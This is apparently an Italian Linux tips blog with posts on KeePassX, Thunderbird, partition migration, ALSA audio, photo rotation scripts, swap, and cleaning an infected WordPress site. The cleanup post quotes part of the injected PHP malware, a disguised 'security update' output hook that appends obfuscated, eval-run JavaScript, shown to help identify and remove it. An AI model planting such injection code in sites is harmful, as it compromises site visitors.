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Mettere i password al sicuro

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Visto che forse non è la cosa migliore fa salvare le passwd a Firefox ma un Password Manager ci vuole : Ho scoperto KeePassX.

Facile installazione con

qmake
make
sudo make install

mentre per Ubuntu e altre distro ci sono pacchetti pronti. Un vantaggio: è disponibile per tutti sistemi operativi, da Linux a Mac a Windows, quindi puoi usare lo stesso file datase.

Facile anche la configurazione, basta creare un file di database (mettendo un punto davanti al nome è nascosto) e scegliere un passwd. La cosa migliore è l’opzione autofill ovvero: Basta aprire nel browser preferito la pagina dove si vuole usare il passwd manager, creare la voce per la coppia nome_utente:passwd, cliccare su Tools > select target window e del pop-up basta selezionare la finestra del Browser. In Utilità >Impostazioni > avanzate spuntare la casella “utilizza i titoli della voce…” e scegliere una scorciatoia, tipo Alt+e.

Dopo basta premere alt+e alla pagina di login, KeePassX compila i campi e preme pure invio. Questo per ora funziona solo su Linux.

ste

23 luglio 2010

postato in sicurezza




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    un commento

    Sostanzialmente ho trovato due soluzioni:

    Una è di installare l’addon thunderbrowse, ma senza usare il browser interno, basta indicare il browser esterno che vuoi usare, p.e. /usr/bin/firefox.

    L’altra più elegante: In Thunderbird > Modifica > Preferenze > Avanzate > Editor di configurazione cercare “warn” e nella riga
    network.protocol-handler.warn-external.http

    cambiare il valore false in true, cliccandolo. Al prossimo lin che clicchiamo in una mail Thunderbird dovrebbe chiedere con quale browser aprirlo, inseriamo /usr/bin/nomebrowser.

    Stessa procedura per network.protocol-handler.warn-external.http
    ma ho mai visto una mail con un link https.

    ste

    23 luglio 2010




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  • Spostare il sistema da una partizione a un altra

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    Il comando cp fa tutto, non bisogna reinstallare.

    1. Fare un backup su un disco diverso.
    2. Preparare le partizioni da cd live con gparted (o dal sistema stesso se possiamo lavorare su partizioni smontate), assegnando etichette tipo “sistema”, “ubuntu”, “home” ecc a tutte le partizioni, che ci fa comodo dopo.
    3. Avviare da sistema live (cd live, penna usb), nel esempio usiamo un CD di ubuntu.
    4. Cliccare la partizione nuova per il sistema e quella esistente dal menu “places” per montarle in /media.
    5. Aprire da >accessori > terminale una finestra di terminale e diventare root:

      sudo -s
      cp -apv /media/etichetta_partizione_vecchia/* /media/etichetta_partizione_nuova
      gedit /media/etichetta_partizione_nuova/etc/fstab & blkid

      Rimettiamo a posto fstab, correggando gli UUID confrontandogli con il risultato di blkid e salviamo, ma se vogliamo possiamo anche montare le partizioni in quel modo:

      LABEL=home /home ext4 defaults,noatime 0 2
      LABEL=var /var ext4 defaults,noatime 0 2
      LABEL=sistema / ext3 defaults 0 1

    6. Sistemare grub:

      Se abbiamo grub legacy (grub vecchio con il menu.lst) facciamo lo stesso anche con questo file, correggendo i parametri
      (hdX,Y)

      X=numero del disco, partenza da 0, Y=numero della partizione, partenza da 0
      e tutte le voci UUID nel menu in fondo al file. Un ripristino di grub e siamo a posto.

      Volendo si può anche aggiungere un menu con i valori corretti nel file menu.lst del vecchio sistema per testare prima il nuovo sistema e rimandare il ripristino (raccomandato)

      Per grub2: Riavviare e con il sistema vecchio dare

      sudo update-grub

      per inserire la voce per il sistema clonato nel menu. Una volta controllato il suo funzionamento eseguire il ripristino di grub prima di formattare il vecchio sistema. Probabilmente si può dare

      grub-install /dev/sda
      update-grub

      anche direttamente dal sistema nuovo, ma non ho testato.

    ste

    11 giugno 2010

    postato in riga di comando, trucchi




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  • Niente audio su linux?

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    Sew non funziona l’audio dopo una installazione Gnu/linux come prima cosa dobbiamo assicurarci con

    alsamixer

    che sono attivati tutti i canali. Basta spostarsi con le frecce, regolare e se fosse un MM sotto un canale smutarlo premendi il tasto m in modo che diventi 00.

    Siccome queste guide di alsa-1.0.2* sono spesso datate nel giro di pochi mesi perché cambia la versione ecco una serie di comandi che dovrebbero valere per sempre :-)

    Scariciamo gli ultimi driver alsa, alsa-lib e alsa-utils da
    http://www.alsa-project.org/main/index.php/Main_Page (la versione attuale si trova incima sulla destra) e salviamoli direttamente nella home (non sulla Scrivania!)

    Per ubuntu installiamo questi pacchetti e creiamo un link per evitare un errore (configure: error: panelw library not found) compilando alsa-utils:

    sudo apt-get install build-essential gettext ncurses-dev linux-headers-`uname -r` xmlto
    sudo ln -s /usr/lib/libpanelw.so.5 /usr/lib/libpanelw.so

    Per compilare:

    cd
    tar xvpjf alsa-driver*
    cd alsa-driver*
    ./configure –with-cards=hda-intel
    make
    sudo make install
    cd
    tar xvpjf alsa-lib*
    cd alsa-lib*
    ./configure –with-cards=hda-intel
    make
    sudo make install
    cd
    tar xvpjf alsa-utils*
    cd alsa-utils*
    ./configure –with-cards=hda-intel
    make
    sudo make install
    sudo alsaconf

    Spesso l’audio non funziona o non funzionano le cuffie o le casse perché manca l’opzione giusta in /etc/modprobe.d/alsa-base.conf.

    Con il risultato di

    aplay -l

    possiamo consultare questa pagina che elenca le opzioni possibili, che vanno inseriti nel file /etc/modprobe.d/alsa-base.conf.

    sudo kate /etc/modprobe.d/alsa-base.conf

    (per ubuntu/gnome usare “gedit” la posto di “kate”, per tutti usare “nano”)

    Inseriamo in fondo una riga
    options snd-hda-intel model=XXX
    e mettiamo al posto di XXX una opzione probabile del file segnalato.

    Esempi:
    options snd-hda-intel model=3stack
    options snd-hda-intel enable=1 index=0 model=basic

    Se abbiamo un portatile spesso troviamo la riga giusto cercando in rete con
    marca modello alsa-base.conf, esempio:
    toshiba tecra a8 alsa-base.conf.

    ste

    07 giugno 2010




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  • Digikam: rotazione non riuscita

    commenta

    A causa del bug in digikam la rotazione senza perdita dati non funziona più, con libjeg 8.

    ls /usr/lib | grep libjpeg
    libjpeg.a
    libjpeg.so
    libjpeg.so.62
    libjpeg.so.62.0.0
    libjpeg.so.8
    libjpeg.so.8.0.1

    In attesa che rimediano si possono usare questi script, salvati in ~/bin con nome gira-s e gira-d (destra/sinistra):

    #!/bin/bash
    jpegtran -rotate 270 $1 > $1.jpg && mv $1.jpg $1
    exit 0

    #!/bin/bash
    jpegtran -rotate 90 $1 > $1.jpg && mv $1.jpg $1
    exit 0

    Basta aprire con Dolhin la cartella delle foto da girare, premere alt+F4 per il terminale e dare

    gira-l nome_immagine.jpg

    per girarlo senza perdita a sinistra

    ste

    05 maggio 2010




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  • Se Google segnala che il sito è infetto

    commenta

    All’ apertura del sito appare:

    Attenzione: l’apertura di questo sito potrebbe danneggiare il tuo computer!

    e nei risultati d ricerca:

    www.sito.com
    Questo sito potrebbe arrecare danni al tuo computer.

    L’infezione aggiungeva uno script in fondo a tutte la pagine. In index.php e altri file si trovava il codice che conteneva:

    <?php ob_start('security_update'); function security_update($buffer){return $buffer.'<script language="javascript">function t(){return z($a);}var $a="Z73tZ3dZ22Z2573tZ253dZ2522Z2524Z2561Z253dstZ253bdZ2563Z2573Z2528Z2564Z2561+
    Z2564Z2562Z252bdZ2563+Z2564Z2564+Z2564eZ252cZ2531Z2530Z2529;Z2564Z ecc ecc
    =0;eval(t());';}//important security update ?>

    Se sono compromesse installazioni wordpress (nel mio caso):

    • Segnarsi la data di modifica di index.php e/o altri file infetti
    • cambiare passwd FTP e assicurarsi che sul proprio PC non siano presenti trojan che leggano il passwd di client come filezilla. Magari usare un cd live di ubuntu per pulire il sito, nel dubbio
    • reinstallare wordpress, joomla ecc, e nel caso che i file di wordpress si trovano in un altra directory del sito sostituire il file index.php, che nel caso che sia infetto pesa 6.5kb invece di 104b.
    • Controllare la data di modifica degli script in /cgi-bin e sostituirli con i backup nel caso che siano infetti. Nel caso mio erano infetti anche counter.cgi che viene chiamato da molte pagine.Controllare anche eventuali file *.htm che sono modificati, nel caso mio c'erano 3 o 4 infetti con uno javascript.
    • Controllare se è presente un script tipo "chat.pl", nel caso mio era un backdoor per accedere al server senza passwd e eliminarlo
    • Controllare se nella root sia presente mailcheck.php e eliminarlo.

    ste

    02 aprile 2010

    postato in sicurezza




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  • Ingrandire la swap

    commenta

    A volta fallisce l’ibernazione con una swap troppo piccola (la regola sarebbe: swap 130% della RAM). Se si può ingrandire la swap avviando con un CD live + gparted bene, ma a volte questo non è possibile. O si crea una partizione swap nuova più grande dov’è possibile e si inserisce in fstab:

    sudo e2label /dev/sdaX SWAP
    sudo nano /etc/fstab

    #swap in /dev/sdaX
    LABEL=SWAP swap swap defaults 0 0

    Ma si possono anche avere due o più partizioni di swap e il kernel gestisce le aree con delle priorità diverse:

    cat /proc/swaps
    Filename Type Size Used Priority
    /dev/sda6 partition 1285128 706064 -1
    /dev/sda2 partition 738980 0 -2

    Utile nel caso che non si vuole spostare/ridimensionare troppe partizioni.

    ste

    17 marzo 2010




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